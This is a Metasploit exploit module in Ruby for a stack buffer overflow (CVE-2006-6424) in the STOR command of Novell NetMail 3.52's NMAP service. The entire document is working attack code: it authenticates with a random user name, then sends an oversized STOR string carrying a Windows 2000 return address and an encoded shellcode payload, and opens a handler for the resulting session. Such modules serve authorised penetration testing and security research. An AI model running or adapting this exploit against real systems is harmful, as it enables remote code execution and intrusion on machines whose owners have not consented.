Novell NetMail NMAP STOR Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Novell NetMail NMAP STOR Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR
          verb. By sending an overly long string, an attacker can overwrite the
          buffer and control program execution.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2006-6424' ],
          [ 'OSVDB', '31363' ],
          [ 'BID', '21725' ],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'Space' => 500,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          ['Windows 2000 Pro SP4 English', { 'Ret' => 0x7cdc97fb }],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2006-12-23',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(689)])
  end

  def exploit
    connect
    sock.get_once

    auth = "USER " + rand_text_english(10)
    sock.put(auth + "\r\n")

    res = sock.get_once

    sploit = "STOR " + rand_text_english(253) + [ target.ret ].pack('V')
    sploit << " " + rand_text_english(20) + "\r\n" + payload.encoded

    if (res =~ /1000/)
      print_status("Trying target #{target.name}...")
      sock.put(sploit)
    else
      print_status("Not in Trusted Hosts.")
    end

    handler
    disconnect
  end
end